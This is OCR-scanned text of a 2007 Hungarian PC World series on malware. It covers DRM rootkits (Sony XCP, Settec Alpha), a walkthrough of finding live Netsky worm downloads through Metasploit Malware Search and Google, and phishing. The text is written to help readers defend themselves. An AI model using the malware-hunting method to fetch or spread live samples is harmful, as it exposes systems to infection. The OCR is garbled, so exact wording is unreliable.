tomoritdkkel elkédolni, ezzel pedig
megneheziteni a kéd késdbbi vissza-
fejtését. Emellett rootkitszerd rejt6z-
kodésre és biztonsagi programok ha-
tastalanftasdra is talalhatunk benne
bedllitasi lehetSségeket. Veszélyes-

ségére jellemz6, hogy nemcsak szo-
veges jelszavakat képes kikémlelni,
de a képernyén megjelend adatok
rendszeres lefényképezésére (screen-
shot) is alkalmazhat6, valamint az
igy keletkezett GIF, JPG vagy BMP
formatumd képek tavoli helyre kiil-
désére. Probaképpen eléallitot-
tunk néhany alloményt, de ezeket
a ,futdszalagon” készilt karteviket
tobb viruskeresd is mar név szerint
Pinch-variacioként ismert fel.

Két tanulsag is lesz(rhet6 ebbdl:
az egyik, hogy az ilyen informéci-
6k, programok terjedését nem le-
het megakadélyozni az interneten,
a mésik pedig, hogy a gépiink elleni
kémkedést nem fantazmagérianak,
hanem nagyon is valds, jelen levg
veszélynek kell felfognunk. Ahogy
pér éve vakmerdnek tartottuk azt,
aki virusirt6 nélkil ,mdszkalt” az in-
ternet orszag(tjan, most a virusirt6—
tlizfal-kémprogramirté triét javasol-
juk alapértelmezett pancélzatnak.

Erdekes médon a Sony emlitett CD-s
baklévése utdn masok is megprébal-
koztak rootkitekkel felvértezett mé-
solasvédelemmel. 2006 februérjdban
a Mr. és Mrs. Smith cimd mozifilm
német nyelv(i DVD-kiadasan taldl-
tak hasonlé kartevét. A széban for-
g6 Settec Alpha rootkit a Sony prog-
ramjdndl taldn kevéshé veszélyes,
mert nem rejt el mast, csak a sajét
programfdjljat, ettél fuggetleniil még-
is biztonsagi kockazatot jelenthet, és
elGsegitheti akar hackerek vagy viru-
sok behatoldsat a rendszerbe. Err6|
és a digitalis anyagok szerz6i jogvé-
delmérdl (DRM, Digital Right Mana-
gement) is részletesen sz6 lesz soro-
zatunk kovetkez§ részében.

Kérjik kedves olvaséinkat, ha

a témaban kérdésiik, hozzaszolasuk
van, juttassdk el hozzank
(velemeny@pcworld.hu).

Csizmazia Istvan,
virusvédelmi tanacsad6
Sicontact Kft.,, a NOD32
magyarorszdgi képviselete
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A NOD32 magyar honlapja: www.nod32.hu

Az ESET threat-center blogja: www.eset.com/threat-center/blog/

Mark Russinovich blogja:

blogs.technet.com/markrussinovich/

www.rootkit.com
www.antirootkit.com
www.invisiblethings.org
www.bluepillproject.org
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KEMEK A FILMEN, KEMEK A GEPBEN

A digitalis jogkezelés vadhajtasai

Sorozatunk harmadik epizddjaban a Mr. és Mrs. Smith cim film elhiresiilt német kiadasa kapcsan
a digitalis jogkezelés (Digital Right Management - DRM) helytelen felhasznalasarol lesz szo.

rootkites rejtézkodé techni-
Akét a szerzdi jogok 6rzéi is

igyekeznek kiakndzni. J6-e
ez nekiink, és ha nem, hogyan vé-
dekezhetiink ellene? Mint tudatos
vasdrlék, ebben a témaban igyek-
sziink most hasznos informaciok-
kal szolgdlni.

Mult havi cikkiinkben mar részlete-
sen beszamoltunk arrdl, hogy 2005
novemberében a Sony BMC zenei
CD-ken IévG masoldsvédelmi root-
kit milyen nagy vihart kavart. Erde-
kes médon a Sony baklovése utdn
masok mégis djra megprobdlkoztak
rootkitekkel felvértezett masoldsvé-
delemmel. 2006 februdrjdban a Mr.
és Mrs. Smith cimd mozifilm német
nyelvi DVD-kiaddsdn talltak ha-
sonld kdrtevst. Az F-Secure beszd-
moldja szerint az egyik német inter-
netes magazin, a www.heise.de
szerkesztGi figyeltek fel arra, hogy
a Mr. és Mrs. Smith DVD szdmito-
gépbe helyezésekor egy telepit-
program indult el. Ez nem méds volt,
mint a Settec Alpha mésolasvédelmi
szoftver, a meglep& azonban az,
hogy rootkit technikdkat haszndlva
rejtette el magdt a felhaszndlo eldl.
Definfcidja szerint a rootkit egy o-
lyan szoftver, mely képes elrejte-
ni magdt mind a felhaszndlok, mind
a kulonféle biztonsagtechnikai ter-
mékek eldl. Ezt kilonféleképpen te-
heti meg: van, amelyik egy konyv-
tarlistazas sordn a hozza tartozo fdj-
lokat nem mutatja meg, mig igen
elterjedt az a médszer is, hogy a fu-
t6 alkalmazasok listdjan nem jelenik

meg az éppen aktiv rootkit munka-
folyamatainak neve. Ha nem fo-
gadjuk el a DVD végfelhasznaldi li-
cencszerzddését (EULA, End User
License Agreement), a szamitogép
egyszer(ien kiadja a DVD-t, ha elfo-
gadjuk, akkor viszont telepiti a jog-
védé programot a gépre.

A szdban forgd Settec Alpha rootkit
a Sony programjdndl taldn kevésbé
veszélyes, mert nem rejt el mast,
csak sajdt programdllomanyat, ettdl
fliggetlentl mégis biztonsagi kockd-
zatot jelenthet, és akdr azt is elése-
githeti, hogy hackerek vagy virusok
hatoljanak be a gépbe. A NOD32
képes felismerni és eltavolitani e
kellemetlen alkalmazast, de maga-
nak a DVD-nek a kiadéja is meg-
jelentetett egy eltavolitd szoftvert,
amelyre azért volt szlikség, mert
alapesetben a programot nem le-
het sem a Start meniibél, sem pedig
a Vezérldpult segitségével eltévoli-
tani. Kizdrélag netes kapcsolattal le-
het uninstalldlni, tobb épés és szan-
dékmegerdsités utdn, internetkap-
csolat hijan viszont sajnos nem
lehet téle megszabadulni.

Az elsé hirek szerint a fertézé DVD
német és finn nyelvtertileten ke-
riilt a boltokba, de a megerdsitett in-
formdcidk szerint csak és kizardlag
a német vdltozat tartalmazta a root-
kitet, a finn verzié nem. (Aki hozza
akar jutni, nincs mds dolga, mint r-
keresni a németorszdgi eBay porta-
lon, a mai napig keringenek beléle
példanyok.)

Itt és minden mas automatikusan
induld lemez esetében érdemes meg-
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AIpha-DISE Protection Uninstall Guide

= to Aluha-DISC Protection can be removed comgistsly .
dure. 3

Download Alpha-DISC Uninstaller

Amikor kitor egy ujabb rootkitbotrany, a gyartok kénytelen-kelletlen kézre-
adjak az eltavolitd eszkozt. A nagy kérdés persze ezek utan az, hogy az
események tilkrében a koreai weboldalrél letéltheté Ujabb programban

vajon megbizhatunk-e?

74| PC WORLD » 2007. NOVEMBER

Ugy tinik, a harc nem kizarélag a képernyén zajlik: a Nagy Testvér helyett
sok Kis Testvér kivancsi tekintete igyekszik mind jobban kiflrkészni hétkoz-
napi életiinket, ellenérzést gyakorolni és titokban informaciokat szerezni

tanulnunk, hogy a Windows auto-
matikus AutoRun funkciéjét (és ez-
zel barmely kdrtékony program te-
lepiilését) a lemez behelyezésekor
a <5hift> billentyd 10 masodper-
ces lenyomasaval hatdstalanithatjuk.
Az Gjabb rootkitbotrany kipattand-
sa utdn ezt a madszert a Mr. és Mrs,
Smith DVD csomagolasan egy piros
matrican fel is tintették. A DVD-re
kertilt masoldsvédelmi rootkit csak
Windows alatt telepdil, asztali lejdt-
szokkal vagy mds operdcids rend-
szer alatt semmilyen problémadt nem
okoz, a film lejatszasat sem akada-
lyozza. Az Alpha-DVD rootkitet ké-
szit Settec cég kordbban a dél-korai
LG villalatnak dolgozott.

™ Nero Express

A digitdlis anyagok szerzéi jogvédel-
me az a modszer, mellyel a kiaddk
és a szerzdi jog tulajdonosai kezelni
akarjdk, tovabbd ellendrzésiik alatt
akarjdk tartani a t6lik szdrmazd
adatok — tobbnyire médiafdjlok
vagy akdr dokumentumok — moz-
gdsdt a kiilonboz6 lejatszo eszkozo-
kon, illetve a szamitogépek kozott.
A kell& szakmai gonddal kidolgozott
DRM-rendszerek nem rejtenek ve-
szélyt magukban, igaz, igy is bosz-
szantdan korldtozzdk a felhasznaldk
lehetGségeit. Mi most a kifejezet-
ten alattomos és nem kellsképpen
tesztelt, ezért rendszertink stabilita-
sat veszélyeztetd megolddsokra hiv-

Final Buin Settings
Click ‘Bum’ 1o stat the recarding process
Curtery. recordsr: - |mage Recorder [CH-RRW]
Dizc: name: My Disc
[
e
") Ql Mere ] [E Mors >3 ]

[.,-’ Bum

{G Back

Ha telepiilt a masolasvédelem, gyakran bucsut inthetink a CD/DVD-irasnak,
mert meghajtéink egyszeriien eltlinnek a kivalaszthato eszkozok listajarol
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A NOD32 2.7 virusirtd program - ha az allandé védelemben bekapcsoljuk a

Veszélyes alkalmazasok keresése opciét - mar a Settec Alpha telepitési kisérlet-

nél védelmet nydjt

juk fel a figyelmet — sajnos van be-
IGlik jocskan.

A Sony a First 4 Internet cég XCP
(Extended Copy Protection) mdso-
lasvédelmi megoldasat valasztotta,
hogy néhany CD-n kiadott zenei
anyaga hasznalatét ellendrizhesse.
Az XCP-vel védett lemezeknél kor-
ldtoztak a készithetd CD- vagy
DVD-mésolatok szamdt, valamint
azt is ellendrizték, hogy alkalmaz-
tak-e rippelést (a CD-audioanyag
lemdsoldsa és szamitdgépes formd-
ba - WAV, MP3 sth. - valo atalaki-
tdsa) az adott zenei anyagndl, sza-
mitégépen vagy mas hordozhat6
zenelejatsz6 esetében. Ezek a zenei
CD-k a szamitégépen mindaddig
nem voltak lejatszhatok, mig nem
telepitették a mellékelt szoftvert.
A korldtozé funkciok mellett az XCP
fajlokat és futé folyamatokat rejtett

A norvég Jon Johansen (DVD Jon)
elészér a DVD-k masolasvédelmé-
nek feltorésével valt hiressé. Ami-
kor 2003-ban nyilvanossagra hozta
az iTunes Music Store masolasvédel-
mének feltorésére irt programjat,
egy ujabb per vart ra. A perek alatt
tomegek tuntettek mellette, az
elsé per alapjaul szolgalé DVD-
tord kodot pedig még polokra is
ranyomtattak

el, Registry-kulcsokat és -bejegyzé-
seket madositott, manipuldlva ezzel
az operdcids rendszer alapértelme-
zett API-fliggvénykészletének vég-
rehajtdsat. Bar maga a program 6n-
magdban nem jelentett veszélyt —
mint azt a mdlt hénapban taglaltuk
— de lehetdséget adott a kilonfé-
le veszélyes kartevéknek elrejtézni
mogéje a biztonsdgi szoftverek eldl.
Nem feltétlenil sziikséges root-
kit ahhoz, hogy egy DRM-rendszer
veszélyes legyen! Egyes DRM-meg-
oldasok adott esetben kart is te-
hetnek a szamitogépben vagy mds
készilékekben. Vannak olyanok,
amelyek inkompatibilisek lehetnek
a szadmitogeép bedllitdsaival, ezzel
a rendszer dsszeomldsat okozhat-
jak. A biztonsag akkor is kockdn fo-
roghat, ha a DRM-rendszer tigyet-
len kiegészité programokat telepit
a szamitogépre. Ezek aztan konflik-
tusha kertlhetnek a DVD-meghaj-
toval, DVD-, illetve egyéb média-
lejdtszd programunkkal vagy mads,
tobbnyire multimédids funkcidival.
Pontosan ez kovetkezett be a Mr.
és Mrs. Smith DVD esetében. Tébb
férumra is érkezett olyan felhasz-
ndléi panasz, hogy a program tele-
pitése utdn a DVD-irok és virtua-
lis meghaijtok elérhetetlenek lettek,
a heise.de gépein a program jelen-
létében barmilyen DVD-adatlemez
hibasan lett megirva. Egy ilyen gé-
pen hidba inditjuk el a CD/DVD-iré
programot (példaul Nero, Alcohol),
az optikai egységeket nem tudjuk
kivdlasztani az egységek legordtls
mendiijében. Az a szomord, hogy
ebben az esetben a DRM csak azt
leckéztette meg, aki boltban, pén-
zért megvdsarolta, és legdlisan bir-
tokolta a korongot.

Akédr online, akar fizikai formédban
keresiink zenei, illetve videoanya-
got, az esetleges vasdrlas el6tt ala-

posan tanulményozzuk dt a cso-
magoldson vagy a termékle-
irdson taldlhatd jeloléseket.

A Copy Protected, illetve Copy
Control feliratok egyértelmden
jelzik az esetleges mésoldsvé-
delmet. Ha online vasarolunk,
ne kattintsunk automatikusan

a Next gombra, hanem figyel-
mesen olvassuk el a licencszer-
z6dést. Legjobb, ha kinyomtat-
juk, és ha kétségeink vannak,
kérjiink forditdsi, illetve értel-
mezési segitséget. Online letolt-
hetd tartalom esetén tdjékozod-
junk annak tdroldsi, masolatké-
szitési lehetdségei feldl, illetve
arrél, hogy a kiilonféle adathor-
dozdra (MP3-lejatszd, CD/DVD)
valé masoldsa nem dtkozik-e
akadalyba.

Ha az adott feltételek nem
megfelelGek szamunkra, alljunk
el a vasarlastél. Ha pedig késsbb
ugy érezziik, hogy a hidnyos tdjé-
koztatds vagy mds ok miatt hatrdny
vagy kar ért benniinket, forduljunk
a Fogyasztvédelmi Fellgyelethez.

Annak idején a Sony nem kezelte
megfelelGen az esetet a nyilvanos-
sdg eldtt, és elsd javitasi kisérle-

te is alkalmatlannak bizonyult. Ez
egy olyan segédprogram volt, ame-
lyet csak az vehetett igénybe, aki
elStte kitoltott egy Grlapot. Hasz-
nélatdval el lehetett ugyan tavolita-
ni a védelmi programot, ettdl kezd-
ve viszont nem lehetett lejatszani

a szamitogépen a megvasarolt zenei
CD-t - vagy kikapcsolhattuk a vé-
delmi program rejtettségét. Jelen-
tések szerint ez a kezdeti javitocso-
mag nagyméret(i volt és alig tesz-
telt, sét egy illegdlis jelentést kiildé
funkcioval is rendelkezett (,hazate-
lefondlt”), amelyrdl persze egy arva
sz6 sem esett a végfelhasznaldi li-
cencszerzddésben.

Hossz( pereskedés utdn a Massa-
chusetts dllam fGgyésze dltal koz-
zétett bejelentés szerint 2006 kara-
csonya el6tt sikerdilt megdllapodni
a Sony BMG-vel a rootkitbotrany
rendezésérdl, amelynek eredménye-
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ként jelentds kartéritést fizettek ki
mind az Egyesiilt Allamoknak, mind
a vasarléknak. A megdllapodds ér-
telmében a pert indité 39 dllam-

bal &llé csoportosulds dsszesen 4,25
millié dollért kapott, a porul jart
vasdrlok pedig a kordbbi egyezmé-
nyekben rogzitettekhez hasonléan

a Sony BMG weboldalin jelezhet-
ték igényiket, melynek elfogaddsa
esetén egyenként 175 dollart kaptak
kézhez. Ez a cég véleménye szerint
megfeleld dsszeg a rootkittel fertd-
zott zenei albumokért cserébe. Ezzel
a Sony végre maga mogott hagyhat-
ta ezt a kellemetlen idészakot, hi-
szen a perek legnagyobb részét igy
lezdrtdk.

A mi szempontunkbél az a fontos
momentum, hogy ebben az egyez-
ményben kikototték: a kiadé a jo-
vében nem hasznalhat az XCP-hez
hasonld DRM masoldsvédelmi
megoldast,

Osztjuk azt a nézetet, hogy a kiilon-
bozé fejlesztéeégeknek (és nem csak
a mdsolasvédelmi eszkizoknek) tavol
kellene tartani magukat mindenféle
rejtett machindcidktél. Az ilyen méd-
szerek biztosan nem szolgdljdk a fel-
haszndld érdekeit, és sok esethben akar
Gjabb biztonsagi sebezhetdségek ki-
alakuldsdhoz vezethet. Ezek utdn csak
reménykedhetiink, hogy két ilyen sd-
lyos eset kapesan a forgalmazék a jo-
viben talan dtgondoltabb, és rank, va-
sdrlkra nézve kedvezébb megoldd-
sokkal rukkolnak eld. Sajnos varhatdan
a DRM nélkilozhetetlen kelléke lesz
a jova digitdlis termékeinek, de mi mdr
annak is oriilnénk, ha ez valoban csak
az adott tartalmat védené, és mas-
ban nem akadalyozna vagy szolgdltat-
na ki minket, valamint nem kémked-
ne utanunk.

Kk

Kérjiik kedves olvaséinkat, ha a té-
méaban kérdésiik, hozzaszolasuk
van, juttassak el hozzdnk
(velemeny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tanicsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

KAPCSOLODO WEBOLDALAK

Hiradasok a Mr. & Mrs. Smith DVD esetrol:
hopp. peworld hu/3716, hopp.peworld hu/3717, hopp.peworld hu/3718

Hasznalati atmutaté a digitalis jogkezeléshez, magyarul:

hopp.peworld.hu/3715

A hivatalos Settec Alpha-DVD rootkit-eltavolité:

uninstall.settec.com/eng/

A digitélis masolasvédelem jelolései:

ukedr.org/issues/cd/warnings/
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METASPLOIT MALWARE SEARCH

Viruskereses a Google segitsegevel

Sorozatunk negyedik epizddjaban a Google-t a szokasostol eltéréen fogjuk hasznalni: virusokra
vadaszunk vele! Fény deriil arra is, hogy az internetes keresdk olykor olyan tartalmakat is beinde-
xelnek - és ezzel a nagykozonség szamara is lathatova tesznek -, amelyeket a webszerver-lizemel-
tetdk eredetileg nem szerettek volna kozkinccsé tenni.

MetaSploit Project weboldala
A (www.metasploit.com) nap-

jaink egyik legérdekesebb al-
kotdsa, amellyel a biztonsagi szakér-
t6knek az exploitok (biztonsagi hibé-
kat kihaszndl6 kartevek) keresésére,
tesztelésére, valamint a réluk sz6-
16 egyéb informaciok megszerzésé-
re nyilik médjuk. Egytttal ez a rosszfi-
Gk dlma is, hiszen az itt talalt kddokat
rendkivill egyszerdien be tudjak vet-
ni, illetve akdr Gjakat is frhatnak az itt
szerzett ismeretanyag alapjan. A ko-
vetkez6kben a Google internetes ke-
resGjének és a MetaSploit Malware
Search szolgaltatdsanak segitségével

fert6zott zombigépekrdl probalnak
meg kartevét letltetni a géplnk-
re. Szintén kedvelt médszer, hogy
egy online videotartalom megtekin-
téséhez Uj, kiegészité kodek letolté-
sét javasolja egy weboldal, amit so-
kan gondolkodas nélkal elfogadnak,
és telepitik azt. Az igy letoltott, DNS-
manipulaciét alkalmazé kartevs az-
utdn képes teljes mértékben eltéri-
teni bongészéseinket, észrevétlendl
hamisitott oldalakra iranyit minket,
és ezzel hatalmas veszélynek tesz-
nek ki: a valés oldalhoz tartozé jel-
szavaink a csalékndl kotnek ki. Saj-
nos ez a modszer Windows alatt vi-
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A Metasploit Malware Search kezdélapja

magunk is kirtevéket terjeszté web-
oldalakra vadaszunk.

Az utébbi években az drtalmas prog-
ramok egyre inkdbb a weboldalak-
rél leselkednek rank. A virusterjesz-
t6k ugyan tovabbra is prébalkoznak
e-mailes kiildéssel, de a leggyakrab-
ban kartékony weboldalakrol vagy

A cikkben emlitett programok
megtaldlhatok a lemezmellékleten

2| PCWORLD ¢ 2007. DECEMBER

szonylag gyakori, de friss hir az is,
hogy egy ilyen tipust krtevét fedez-
tek fel a napokban megjelent Macin-
tosh OS X Leopard operéciés rend-
szer alatt is.

Ugy tiinik, a jové egyik ditja az lesz,
hogy a rosszfilk témegével fognak
egyszer(i, hétkoznapi weboldalakat
feltorni — merthogy ez konnydi —, és
azok kédjat lathatatlanul megmér-
gezve, virusok és kémprogramok ter-
jesztésére fogjak kihasznalni.

Manapsag szinte mindenkinek van
médr a gépén valamilyen virusirté.
Gyands levélmelléklet esetében so-
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Netsky-talalatok a listaban

kan tudnak segitséget kérni, de sajt
weboldaluk rendszeres ellendrzését,
megfeleld szintd technikai védelmét
mar sokkal kevesebben tudjék ellatni
— és mint mashol, a folyamatok itt is
mindig a gyengébb ellenallas iranya-
ba haladnak. Természetesen emellett
a nehezebb falatot jelentd, alaposab-
ban védett, de milliékhoz eljuté ko-
206sségi és hirportalok is veszélyben
lesznek. Itt a gyenge pontot az em-
beri lustasag, az elmulasztott vagy
késve telepitett biztonsagi javitasok,
illetve a nulladik napi, még ismeret-
len biztonségi hibak (exploitok) ki-
hasznélasa jelenti.

Fontos a (szerver) operécids rend-
szer és az azon fut6 alkalmazéi prog-
ramok frissitéseinek naprakészen tar-
tasa. Ehhez j6 segitség lehet a Secu-
nia Inspector, a Microsoft Baseline
Security Analyzer vagy akdr a Sunbelt

Network Security Inspector prog-
ram. Az emlitett eszkdzok hatdsosan
és alaposan feltdrjak a gyenge, el-
avult komponenseket, és a frissités-
hez is konkrét linkkel, Gtmutatéval
szolgalnak.

A bongészés kozben terjedd kar-
tevék miatt nemcsak az olda-
lak tizemeltet&inek, hanem ne-
kiink is vigyaznunk kell, hiszen hos-
szabb-révidebb ideig akar kedvenc
hirportalunk, tisztanak gondolt, rend-
szeresen latogatott weboldalaink is
fertézottek lehetnek.

Mit tehetiink ez ellen? Az ilyen ros-
szindulatd oldalakat tobb médszerrel
és helyen is igyekeznek nyilvantarta-
ni. Léteznek mar beéptilémodulok
(NetCraft Toolbar, Finjan SecureB-
rowsing, NoScript, RgGuard, Craw-
ler Toolbar) a bongészékliensekhez,
amelyek képesek figyelmeztetni, il-

SEGITSEG A KETKEDOKNEK

Ha gyants programokrdl gyij-
tiink informdciét, hasznos segit-
ség lehet egy Ruby nyelven ir6-
dott program, a Malware Signa-
ture Generator (mwsig.rb). En-
nek segitségével barmely, a birto-
kunkban levé élloményhoz a Me-
tasploit 4ltal ismert ,,szabvanyos”
azonosité szignatura (ellendr-

26 Gsszeget tartalmaz6 ,ujjlenyo-
mat”) készithetd, ennek birtoka-

ban pedig a Google-keresés is to-
vabb drnyalhaté. A program kod-
ja a Metasploit oldalén (hopp.
pcworld.hu/3855) taldlhatd, az
ezt futtaté Ruby interpreter pe-
dig a www.ruby-lang.org cim-
16l tolthetd le. (A Ruby egy in-
gyenes, nyilt forrdskéda objek-
tumorientalt programnyelv, ame-
lyet egyébként gyors tanulhatdsa-
ga okan is érdemes megismerni.)

A Ruby nyelven irédott Malware Signature Generatorrel magunk is
készithetiink egy allomanyrél szignaturalenyomatot
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letve a karos tartalmakat blokkolni.
A Google is elkezdte mar alkalmaz-
ni sajat hivatkozdsmindsité figyel-
meztetéseit.

Azt, hogy valéban vannak ilyen, a kar-
tevket kéretlendl letSltd oldalak,
mér az antivirus.blog.hu oldal Kat-
tintsunk-e Psycho macskdra? cimd be-
jegyzésében is bemutattuk — most pe-
dig az aldbbi kisérlettel fogjuk de-
monstralni.

Menijtink el a Metasploit Project
kértevkeress aloldaléra, a Metasplo-
it Malware Searchre (hopp.pcworld.
hu/3794). Ha olyan éltalanos hivatko-
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a szokottndl is koriiltekintébben jar
el, vagy akar ki is hagyja a weboldal-
ra valé kirdndulast. Mi most azonban
tovabbléptink, mert géptink védelme
ercs és naprakész.

Gyilkos oldalak - csak biztos
védelem esetén!
Valasszunk ki most egy talalatot a lis-
tardl. Itt az id6, hogy elszantan ralép-
jiink a linkre: az eredmény nem is
marad el, kérdés nélkil egy letoltési
ablak bukkan fel, és le 6hajtja tolteni
géplinkre a 07-details.pif llomanyt,
amely nem mds, mint a Netsky.Q fé-
reg egy példanya.

Megfelel6 virusvédelmi program-
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A Finjan SecureBrowsing beépiilémodulja kartékony oldalra figyelmeztet
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A Robot Genius bongészdklienshez tartozo beépiiléje mar magat
a Metasploit-oldalt is veszélyesnek jel6li

zast kerestink, mint példdul a ,worm”
vagy a ,backdoor”, rengeteg talalatot
kapunk. Szkitstik egy kicsit a kort, és
keresstink egy létez6 virust, esetiink-
ben legyen ez a Netsky.

Beirjuk a Netsky szét a keresablak-
ba, tttink egy Entert, és mér sorakoz-
nak is a lap aljdn az ezzel kapcsola-
tos taldlatok.

Id6zziink itt el egy kicsit! A Goog-
le ablakdban lévé tanacsadd ikonok
egyike jelez: a Finjan szerint ez ,va-
[6szindileg kartékony oldal”. A Robot
Genius RgGuard beépiilGje pedig mar
a Metasploit keresGoldalnal is pirosan
vilagt, és egy ablakban kiilon figyel-
meztet a veszélyes tartalomra.

Az vatos atlagember szamara
az lehet a legjobb megoldas, hogy
ha a kettd koz(l barmelyik is riaszt,

mal (tesztgéptinkn a NOD32 gyart6-
janak, az ESET Smart Security komp-
lett biztonsagi csomagjdnak RCT jeldi
béta-verzi6ja volt telepitve) roptében
megfoghatjuk a betolakodat, igy blok-
kolva lesz a virus. A bongész6 még igy
is elhelyezhet egy példanyt a webkli-
ens ideiglenes allomanyai kozé - ha
ez bekovetkezik, a virusirtd természe-
tesen ezt is észleli, és megvéd ben-
niinket: bedllitasainktdl fliggden torli,
vagy karanténba helyezi a kdrtevét.

Vétlen éldozat(?)

Félretéve a Metasploit keresGjét,

a ,mezei” Coogle keresdbe befr-

tuk a 07-details.pif szot, azaz a Nets-
ky végrehajthat6 allomanyanak ne-
vét. A taldlati listdbol kivélasztottuk

a www.5z.com f6oldaldt. Az oldalt le-

ODO WEBOLDALAK

ESET Smart Security: www.eset.com/smartsecurity/

Metasploit Malware Search: hopp.pcworld.hu/3794

Microsoft Baseline Security Analyser Tool: hopp.pcworld.hu/379

Secunia Software Inspector: secunia.com/software_inspector/

Finjan SecureBrowsing biztonsagi beépiils: securebrowsing.finjan.com

Robot Genius RgGuard biztonsagi beépiilé: www.robotgenius.net

Netcraft Anti-Phishing Toolbar: toolbar.netcraft.com

NoScript Firefox extension: noscript.net

Crawler Toolbar: www.crawler.com/products/toolbar.aspx

kérve nem szembesiiltiink az el6z6
problémaval; semmi sem prébalko-
zott letoltédni, és webes tandcsadé-
ink is csendesen hallgattak. Némi for-
rasolvasds utdn — belekukkantottunk
a nyitéoldal HTML-kddjaba - kide-
riilt, hogy a lapot egy Jirka nevii illeté
készitette, a Google-bejegyzéshdl pe-
dig mér tudtuk, hogy a virus is egy jir-
ka nevii kdnyvtarban csiicsiil. Ez els§
prébalkozdsunk idején ott is volt még.
Ezek utdn két eset lehetséges: fel-
torve az oldalt, valaki orvul odahe-
lyezte a kartevét, vagy maga az ol-
dal gazdaja volt figyelmetlen, és sajat
konyvtdraban tarolt egy ilyen férget.
Még az is elképzelhetd, hogy a kriti-
kus dlloményra nem is mutat hivat-
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pedig jelszéval kddolt csomagoknak
kellene itt szerepelni, hiszen a map-
pa tartalma ez esetben nem a nyilvéa-
nossagnak lett szanva — legalabbis ezt
gyanitjuk.

Ha nagyon sok a szabad idénk, és
pedansak akarunk lenni, megkeres-
hetjiik az oldal gazdajat — esettinkben
ezt valaki nem sokkal késébb mar
megtette —, és jelezhetjik, hogy fertS-
z6tt az oldala. Az adatokat a Doma-
in Tools oldalan (www.domaintools.
com) tudjuk lekérdezni, és itt, a do-
ménfoglalé cime mellett a technikai
kapcsolattartot is megtalaljuk.

* 3%k
Kicsit technikaira sikeredett ez a mai
epiz6d — a koréabbi, olvasményosabb

St Y] et

CSPS

Phammaceuticals, Inc)

PlRE8iRyy0p, |

_——
o, P T A

| Maskeenlonr Diviersify

Jvevvrmaal v Litorme |

A kartékony programot tartalmazoé weblap nyitooldala semmilyen jelét nem

mutatja a fert6zésnek

kozas a weboldalon, mégis szerepel
a Google indexei kozott.

Magunk kozt szdlva, ha mar valaki
a sajat webszerverét privat, nem pub-
likus allomanyok tarolasara haszndl-
ja, a .HTACCESS éllomany segitségé-
vel kikapcsolhatnd a hivatlan latoga-
tok bongészési lehetGségét, egydttal
megdvhatja magat attél, hogy a fiirké-
sz6 keres6robotok kéretleniil indexel-
jék a masokra nem tartozé, bizalmas
konyvtdrakat. Emellett (vagy ehelyett)

frasokhoz képest. Unnepélyesen meg-
igérjuk, a kovetkezd alkalommal nem
veszink el ennyire a részletekben.
Kérjuk kedves olvaséinkat, ha a té-
méban kérdésiik, hozzaszélasuk van,
juttassak el hozzank (velemeny@
peworld.hu).
Csizmazia Istvan,
virusvédelmi tanacsadé
Sicontact Kft.,, a NOD32 antivirus
magyarorszdgi képviselete
antivirus.blog.hu
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@® -F A Virusok Varazslatos Vilaga

SOCIAL ENGINEERING - ES AMI MOGOTTE VAN

Megtevesztok

Sorozatunk 6tddik epizddjaban a megtévesztésrol és az ellene hasznalhato védekezési modsze-
rekrol lesz szo, de megtudhatjuk azt is, mi az a PhishTank, és tobbek kozott felvazolunk egy nagy
csokor hasznos védelmi tippet.

veszély az emberiséggel egy-
A idds. Mindig is voltak a ter-

mészetben ellenségeink, ra-
adasul rosszindulatd embertarsaink
is régdta veliink élnek. Ok lelkiisme-
ret-furdalds nélkal kihasznaltak, ki-
fosztottdk a tapasztalatlanabbakat,
a gyengébbeket. Az informatika ko-
rdban ez fgy jelentkezik, hogy sok,
magas szint( — de legaldbbis tlag
feletti — szdmitastechnikai tuddssal
felvértezett (nem utolsdsorban ki-
vélé emberismerettel megdldott) vi-
rusird és csalé gy érzi, joga van tu-
datlan dldozatait becsapni, meglop-
ni, megkarositani, akik ezt sokszor
szinte észre sem veszik. Az utéb-
hi évek tendencidja azt bizonyftja,
hogy mig kezdetben els@sorban vir-
tushdl és kitlinni vagyashdl készitet-
tek kartékony kédokat, mara ez el-
s6sorban Gizleti céllal végrehajtott
blincselekménnyé lépett elS. A rek-
lamterjeszték fizetnek a viruskészi-
tdnek a fertdzott gépekrdl kikuldott
kéretlen reklamokért (spam), bérbe
veszik a tdvirdnyfthatd fertdzott gé-
pekbdl allo botnethdlézatot, de el-
adhatd internetes portékava 1ép-
tek el§ a trdjai és kémprogramok
segitségével ellopott hitelkértya-
vagy személyes adatok is. Ezek mel-
lett olyan internetes csevegdszobak
(chatrooms) is léteznek, melyekben
az adathaldszok, botnet-, pasztorok”
nyiltan hirdetik szolgdltatdsaikat.

Ahogy gépkocsinkat vagy lakdsunkat
sem hagyjuk tarva-nyitva magunk
utdn, dgy kétségtelentl szAmitdgé-
pinknek is sziksége van hathatds vé-
dekezésre.

A statisztikdk szerint jelentSs meny-
nyiségd karokozo program mindig ar-
ra a szamitdgépes kémyezetre készdl,
amelyet egyrészt megesen haszndl-
nak, masrészt széleskordien hozzé-
férhetd technikai dokumentdciéval is
rendelkezik. Ez jelenleg - az egyszerd
felhasznaldk szempontjabdl — dontd
tobbséghen a windowsos asztali rend-
szereket jelenti, de semmiképpen
sem mondhatjuk, hogy a t6bbi plat-
form teljesen mentes lenne a tima-
désoktol. A kértevik dsszezavarhatjak
a szamitdgépet, tonkretehetik a ben-
ne térolt adatokat, és sajnos az sem
kizart, hogy bizalmas adatainkat, va-
lamint a haszndlat sorén alkalmazott
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A BANK EREDETI OLDALA

é BUDAPEST
( INTERNETBANK
id

:

martonsdgl tandcsok
+ Eozrovdtclok favastatok

hitps:/finternetbank.budapestbank. hu/

A HAMIS CSALO OLDAL

% BUDAPEST
T INTERNETBANK
i il udape: =thank

iiduszaljiik o Budapest Interneth
Sz

Azonositd:

Jelszé:

o-PIN{&-Digit number):

Bltars sl tnacioh.
+ Eszravhtalek, favaslatok
Magear Engésh

hitp:/finternetbank.budapestbank.net

Micsoda killénbség! - mondhatnank. Es valéban, a csalé oldal még a PIN-ké-

dunkat is bekéri - korantsem véletleniil

kédokat illetéktelenek részére juttat-
jak el, amelyekkel vissza is élhetnek.
Am a megfelel§ védelmi program és
a frissités csak a szlikséges megoldds
egyik fele. A masik oldalon a jozan ész-
nek, az dvatossagnak kelllene) erdtel-
jesen munkdlkodnia. Murphy szerint
»Bizz embertarsadban, de azért emeld
